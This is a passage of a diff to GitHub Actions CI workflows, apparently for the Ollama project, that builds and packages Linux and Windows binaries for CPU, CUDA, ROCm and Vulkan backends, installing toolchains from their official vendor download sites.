+  # registry credentials or oversized GitHub layer caches.
+  linux-payloads:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - arch: amd64
+            target: publish-llama-server-cpu
+            payload: cpu
+          - arch: amd64
+            target: publish-llama-server-cuda_v12
+            payload: cuda_v12
+          - arch: amd64
+            target: publish-llama-server-cuda_v13
+            payload: cuda_v13
+          - arch: amd64
+            target: publish-llama-server-rocm_v7_2
+            payload: rocm_v7_2
+          - arch: amd64
+            target: publish-llama-server-vulkan
+            payload: vulkan
+          - arch: arm64
+            target: publish-llama-server-cpu
+            payload: cpu
+          - arch: arm64
+            target: publish-llama-server-cuda_v12
+            payload: cuda_v12
+          - arch: arm64
+            target: publish-llama-server-cuda_v13
+            payload: cuda_v13
+          - arch: arm64
+            target: publish-llama-server-cuda_jetpack5
+            payload: cuda_jetpack5
+          - arch: arm64
+            target: publish-llama-server-cuda_jetpack6
+            payload: cuda_jetpack6
+    steps:
+      - uses: actions/checkout@v4
+      - uses: docker/setup-buildx-action@v3
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: linux/${{ matrix.arch }}
+          target: ${{ matrix.target }}
+          provenance: false
+          sbom: false
+          build-args: |
+            GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
+            CGO_CFLAGS=${{ env.CGO_CFLAGS }}
+            CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          outputs: type=local,dest=${{ runner.temp }}/payload
+      - name: Pack Linux payload
+        shell: bash
+        run: |
+          set -euo pipefail
+          tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
+      - uses: actions/upload-artifact@v4
+        with:
+          name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
+          path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
+          compression-level: 0
+
+  linux-go:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        arch: [amd64, arm64]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: docker/setup-buildx-action@v3
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: linux/${{ matrix.arch }}
+          target: publish-go
+          provenance: false
+          sbom: false
+          build-args: |
+            GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
+            CGO_CFLAGS=${{ env.CGO_CFLAGS }}
+            CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          outputs: type=local,dest=${{ runner.temp }}/payload
+      - name: Pack Linux Go payload
+        shell: bash
+        run: |
+          set -euo pipefail
+          tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
+      - uses: actions/upload-artifact@v4
+        with:
+          name: linux-payload-${{ matrix.arch }}-go
+          path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
+          compression-level: 0
+
+  # MLX payloads are intentionally excluded from this workflow; the Dockerfile
+  # still exposes publish-mlx for a separate MLX-specific workflow.
+  linux-bundles:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: [linux-payloads, linux-go]
+    strategy:
+      fail-fast: false
+      matrix:
+        arch: [amd64, arm64]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: linux-payload-${{ matrix.arch }}-*
+          path: ${{ runner.temp }}/payloads
+          merge-multiple: true
+      - name: Assemble Linux payload tree
+        shell: bash
+        run: |
+          set -euo pipefail
+          src="${{ runner.temp }}/payloads"
+          arch="${{ matrix.arch }}"
+          dest="dist/linux-${arch}"
+          copy_payload() {
+            local name="$1"
+            local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
+            if [ ! -f "${payload}" ]; then
+              echo "missing payload ${payload}"
+              exit 1
+            fi
+            zstd -d <"${payload}" | tar -C "${dest}" -xf -
+          }
+
+          mkdir -p "${dest}"
+          copy_payload go
+          copy_payload cpu
+          copy_payload cuda_v12
+          copy_payload cuda_v13
+          if [ "${arch}" = "amd64" ]; then
+            copy_payload vulkan
+            copy_payload rocm_v7_2
+          else
+            copy_payload cuda_jetpack5
+            copy_payload cuda_jetpack6
+          fi
+
+          ./scripts/deduplicate_cuda_libs.sh "${dest}"
+      - name: Verify Linux build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          base="dist/linux-${{ matrix.arch }}"
+          for payload in \
+            "${base}/bin/ollama" \
+            "${base}/lib/ollama/llama-server"
+          do
+            [ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
+          done
+      - name: Create archive input lists
+        shell: bash
+        run: |
+          set -euo pipefail
+          for COMPONENT in bin/* lib/ollama/*; do
+            case "${COMPONENT}" in
+              bin/ollama*)              echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/*.so*)         echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/cuda_v*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/vulkan*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/mlx*)          echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/include*)      echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
+              lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
+              lib/ollama/rocm_v*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
+            esac
+          done
+        working-directory: dist/linux-${{ matrix.arch }}
+      - name: Log archive input lists
+        shell: bash
+        run: |
+          set -euo pipefail
+          for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
+            echo "${ARCHIVE}"
+            cat "${ARCHIVE}"
+          done
+      - name: Create Linux archives
+        shell: bash
+        run: |
+          set -euo pipefail
+          for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
+            tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
+          done
+          wait
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-${{ matrix.arch }}.tar.zst
+          path: ollama-linux-${{ matrix.arch }}.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'amd64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-amd64-rocm.tar.zst
+          path: ollama-linux-amd64-rocm.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'arm64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-arm64-jetpack5.tar.zst
+          path: ollama-linux-arm64-jetpack5.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'arm64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-arm64-jetpack6.tar.zst
+          path: ollama-linux-arm64-jetpack6.tar.zst
+          compression-level: 0
+
+  windows-depends:
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [windows]
+        arch: [amd64]
+        preset: ['CPU']
+        build-steps: ['cpu cpuArm64']
+        include:
+          - os: windows
+            arch: amd64
+            preset: 'CUDA 12'
+            build-steps: cuda12
+            install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
+            cuda-components:
+              - '"cudart"'
+              - '"nvcc"'
+              - '"cublas"'
+              - '"cublas_dev"'
+            cuda-version: '12.8'
+          - os: windows
+            arch: amd64
+            preset: 'CUDA 13'
+            build-steps: cuda13
+            install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
+            cuda-components:
+              - '"cudart"'
+              - '"nvcc"'
+              - '"cublas"'
+              - '"cublas_dev"'
+              - '"crt"'
+              - '"nvvm"'
+              - '"nvptxcompiler"'
+            cuda-version: '13.0'
+          - os: windows
+            arch: amd64
+            preset: 'ROCm 7'
+            build-steps: rocm7
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
+          - os: windows
+            arch: amd64
+            preset: Vulkan
+            build-steps: vulkan
+            install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
+    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - name: Install system dependencies
+        run: |
+          choco install -y --no-progress ccache ninja
+          if (Get-Command ccache -ErrorAction SilentlyContinue) {
+            ccache -o cache_dir=${{ github.workspace }}\.ccache
+          }
+      - if: matrix.preset == 'CPU'
+        name: Install Windows ARM64 cross compiler
+        run: |
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
+      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
+        id: cache-install
+        uses: actions/cache/restore@v4
+        with:
+          path: |
+            C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
+            C:\Program Files\AMD\ROCm
+            C:\VulkanSDK
+          key: ${{ matrix.install }}
+      - if: startsWith(matrix.preset, 'CUDA ')
+        name: Install CUDA ${{ matrix.cuda-version }}
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            $subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
+            Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
+          }
+
+          $cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
+          echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+      - if: startsWith(matrix.preset, 'ROCm')
+        name: Install ROCm ${{ matrix.rocm-version }}
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
+          }
+
+          $hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
+          echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
+      - if: matrix.preset == 'Vulkan'
+        name: Install Vulkan
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
+          }
+
+          $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
+          echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
+      - if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
+        uses: actions/cache/save@v4
+        with:
+          path: |
+            C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
+            C:\Program Files\AMD\ROCm
+            C:\VulkanSDK
+          key: ${{ matrix.install }}
+      - uses: actions/checkout@v4
+      - uses: actions/cache@v4
+        with:
+          path: ${{ github.workspace }}\.ccache
+          key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
+      - name: Build Windows dependencies
+        run: |
+          Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
+          Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
+          $steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
+          ./scripts/build_windows.ps1 @steps
+        env:
+          CMAKE_GENERATOR: Ninja
+      - name: Log build results
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - if: matrix.preset == 'CPU'
+        name: Verify Windows CPU payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - uses: actions/upload-artifact@v4
+        with:
+          name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
+          path: dist\*
+          compression-level: 0
+
+  windows-build:
+    runs-on: windows
+    needs: setup-environment
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - name: Install clang and gcc-compat
+        run: |
+          $ErrorActionPreference = "Stop"
+          Set-ExecutionPolicy Bypass -Scope Process -Force
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - name: Verify gcc is actually clang
+        run: |
+          $ErrorActionPreference='Continue'
+          $version=& gcc -v 2>&1
+          $version=$version -join "`n"
+          echo "gcc is $version"
+          if ($version -notmatch 'clang') {
+            echo "ERROR: GCC must be clang for proper utf16 handling"
+            exit 1
+          }
+          $ErrorActionPreference='Stop'
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version: "20"
+      - name: Build Windows binaries and app launchers
+        run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
+      - name: Verify Windows build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-arm64/ollama.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - name: Log build results
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - uses: actions/upload-artifact@v4
+        with:
+          name: build-windows-amd64
+          path: dist\*
+          compression-level: 0
+
+  windows-package:
+    runs-on: windows
+    needs: [setup-environment, windows-build, windows-depends]
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: depends-windows*
+          path: dist
+          merge-multiple: true
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: build-windows*
+          path: dist
+          merge-multiple: true
+      - name: Copy unsigned install script
+        run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
+      - name: Log dist contents after download
+        run: gci -path .\dist -recurse
+      - name: Verify Windows package inputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/ollama.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - name: Build unsigned Windows installer and zips
+        run: ./scripts/build_windows.ps1 deps installer zip
+      - name: Log contents after build
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - name: Verify Windows package outputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/ollama-windows-amd64.zip \
+            dist/ollama-windows-arm64.zip \
+            dist/ollama-windows-amd64-rocm.zip \
+            dist/OllamaSetup.exe \
+            dist/install.ps1
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-amd64.zip
+          path: dist/ollama-windows-amd64.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-arm64.zip
+          path: dist/ollama-windows-arm64.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-amd64-rocm.zip
+          path: dist/ollama-windows-amd64-rocm.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: OllamaSetup.exe
+          path: dist/OllamaSetup.exe
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: install.ps1
+          path: dist/install.ps1
+          compression-level: 0

.github/workflows/test.yaml

@@ -22,7 +22,8 @@ jobs:
     runs-on: ubuntu-latest
     outputs:
       changed: ${{ steps.changes.outputs.changed }}
-      vendorsha: ${{ steps.changes.outputs.vendorsha }}
+      app_changed: ${{ steps.changes.outputs.app_changed }}
+      enginehash: ${{ steps.changes.outputs.enginehash }}
     steps:
       - uses: actions/checkout@v4
         with:
@@ -37,8 +38,42 @@ jobs:
               | xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
           }
 
-          echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*' '.github/**/*') | tee -a $GITHUB_OUTPUT
-          echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
+          echo changed=$(changed \
+            'CMakeLists.txt' \
+            'CMakePresets.json' \
+            'cmake/**' \
+            'cmake/**/*' \
+            'llama/server/**/*' \
+            'llama/compat/**/*' \
+            'LLAMA_CPP_VERSION' \
+            'MLX_VERSION' \
+            'MLX_C_VERSION' \
+            'llama/llama.cpp/**/*' \
+            'ml/backend/ggml/ggml/**/*' \
+            'x/imagegen/mlx/**' \
+            'x/imagegen/mlx/**/*' \
+            '.github/**/*') | tee -a $GITHUB_OUTPUT
+          echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
+          echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
+
+  patches:
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest]
+    runs-on: ${{ matrix.os }}
+    steps:
+      - uses: actions/checkout@v4
+      - name: Verify patches apply cleanly
+        shell: bash
+        run: |
+          cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
+            -DCMAKE_BUILD_TYPE=Release \
+            -DBUILD_SHARED_LIBS=ON \
+            -DGGML_BACKEND_DL=ON \
+            -DGGML_NATIVE=OFF \
+            -DGGML_OPENMP=OFF \
+            -DGGML_CPU_ALL_VARIANTS=ON \
+            -DOLLAMA_RUNNER_DIR=
 
   linux:
     needs: [changes]
@@ -47,23 +82,41 @@ jobs:
       matrix:
         include:
           - preset: CPU
+            superbuild_target: ollama-local
+            superbuild_dir: build/local-superbuild
+            superbuild_args: ''
+            expected_payload: lib/ollama/llama-server
+            install-go: true
           - preset: CUDA
             container: nvidia/cuda:13.0.0-devel-ubuntu22.04
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
+            superbuild_target: ollama-llama-server-cuda_v13
+            superbuild_dir: build/local-superbuild-cuda_v13
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
+            expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
           - preset: ROCm
             container: rocm/dev-ubuntu-22.04:7.2.1
             extra-packages: rocm-libs
-            flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
+            superbuild_target: ollama-llama-server-rocm_v7_2
+            superbuild_dir: build/local-superbuild-rocm_v7_2
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
+            expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
           - preset: Vulkan
             container: ubuntu:22.04
             extra-packages: >
               mesa-vulkan-drivers vulkan-tools
               libvulkan1 libvulkan-dev
-              vulkan-sdk cmake ccache g++ make
+              vulkan-sdk spirv-headers cmake ccache g++ make
+            superbuild_target: ollama-llama-server-vulkan
+            superbuild_dir: build/local-superbuild-vulkan
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
+            expected_payload: lib/ollama/vulkan/libggml-vulkan.so
           - preset: 'MLX CUDA 13'
             container: nvidia/cuda:13.0.0-devel-ubuntu22.04
             extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=87 -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
+            superbuild_target: ollama-mlx-cuda_v13
+            superbuild_dir: build/local-superbuild-mlx-cuda_v13
+            superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
+            expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
             install-go: true
     runs-on: linux
     container: ${{ matrix.container }}
@@ -80,11 +133,9 @@ jobs:
             echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg]  https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
             $sudo apt-get update
           fi
-          $sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
-          # MLX requires CMake 3.25+, install from official releases
-          if [ "${{ matrix.preset }}" = "MLX CUDA 13" ]; then
-            curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
-          fi
+          $sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
+          # Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
+          curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
           # Export VULKAN_SDK if provided by LunarG package (defensive)
           if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
             echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
@@ -94,17 +145,30 @@ jobs:
       - if: matrix.install-go
         name: Install Go
         run: |
+          [ -n "${{ matrix.container }}" ] || sudo=sudo
           GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
-          curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | tar xz -C /usr/local
+          curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
           echo "/usr/local/go/bin" >> $GITHUB_PATH
       - uses: actions/cache@v4
         with:
           path: /github/home/.cache/ccache
-          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
-      - run: |
-          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
-          cmake --build --preset "${{ matrix.preset }}" --parallel
-
+          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
+      - name: Build native superbuild
+        if: matrix.superbuild_target
+        run: |
+          cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
+          CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
+          test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
+      - name: Verify local superbuild install
+        if: matrix.superbuild_target == 'ollama-local'
+        run: |
+          ./ollama --version
+          "${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
+          test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
+          cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
+          "$RUNNER_TEMP/ollama-local/bin/ollama" --version
+          "$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
+          test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
   windows:
     needs: [changes]
     if: needs.changes.outputs.changed == 'True'
@@ -112,9 +176,16 @@ jobs:
       matrix:
         include:
           - preset: CPU
+            superbuild_target: ollama-local
+            superbuild_dir: build\local-superbuild
+            superbuild_args: ''
+            expected_payload: lib\ollama\llama-server.exe
           - preset: CUDA
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
+            superbuild_target: ollama-llama-server-cuda_v13
+            superbuild_dir: build\local-superbuild-cuda_v13
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
+            expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
             cuda-components:
               - '"cudart"'
               - '"nvcc"'
@@ -125,14 +196,26 @@ jobs:
               - '"nvptxcompiler"'
             cuda-version: '13.0'
           - preset: ROCm
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
-            flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
+            superbuild_target: ollama-llama-server-rocm_v7_1
